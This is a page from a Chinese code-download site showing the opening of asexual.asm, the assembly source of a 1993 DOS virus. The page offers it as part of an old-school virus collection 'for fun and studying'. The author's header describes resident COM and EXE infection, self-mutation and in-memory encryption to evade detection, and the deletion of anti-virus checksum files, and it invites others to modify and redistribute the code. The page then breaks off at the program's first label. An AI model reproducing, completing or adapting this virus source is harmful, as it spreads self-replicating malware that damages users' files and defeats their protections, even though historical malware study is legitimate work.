欢迎来到虫虫下载站 | 资源下载 资源专辑 关于我们
虫虫下载站

asexual.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
ASM
字号:
;哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
; ************************************************
;     ASeXuAl v1.00 - BY VIROGEN - 10-29-93
; ************************************************
;  - Compatible with : TASM /m
;
;        ASeXual v1.00
;     哪哪哪哪哪哪哪哪哪哪哪
;
;  TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;    Because of my ignorance I released the last version of ASeXual with
;  a MAJOR bug.. you would expierence very frequent system lockups not
;  to mention that infections of files in the root directory screwed them
;  all future generations.
;
;   new in this version:
;     - Lockup bugs fixed!
;     - root directory infections fixed!  (no longer infects spawning in root)
;     - spawning infections now return the correct return code from the EXE
;     - cosmetic changes
;     - no more error handler
;
;  characteristics:
;    This virus is a memory resident parastic COM infector and spawning
;   EXE infector. It is mutative.. with only 2 bytes remain constant
;   in replicated copies, but none in constant relative locations to the start
;   of viral code or to each other. It infects up to 5 files in the
;   current directory which a program is executed or a new drive is selected.
;   It first searches out EXE hosts, and if there are none to be infected,
;   it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files
;   in the current directory are killed before any file is infected.   This
;   virus is also kept encrypted in memory to prevent easy detection of it
;   there too.     It's code is stored just below the 640k boundary.  There
;   will be a decrease of about 5k of total system memory when this virus is
;   resident.
;
;  activation:
;   This is a non-malicious virus and it's activation is simple.. On any
;   thursday it changes the keyboard flags (CTRL,ALT,L&RSHIFT,NUM LOCK,CAPS,
;   and SCROLL LOCK) constantly while it is memory resident. It does not
;   infect files on thursdays.
;
;
;  As always I'm releasing the full source code to this virus.. which means
;  you are free to make modifications to it. Just give credit where credit
;  is due and have phun..
;

segment	    cseg
	    assume  cs: cseg, ds: cseg,es: cseg

signal	    equ	    6bh			    ; Installation check
reply	    equ	    0fah		    ; reply to check

max_inf	    equ	    05			    ; Maximum files to infect per run
max_rotation equ    9			    ; number of bytes in switch byte table
parastic    equ	    01			    ; Parastic infection
spawn	    equ	    00			    ; Spawning infection
heap_size   equ	    50h			    ; max heap size
	    org	    100h		    ; Leave room for PSP

start:
;哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -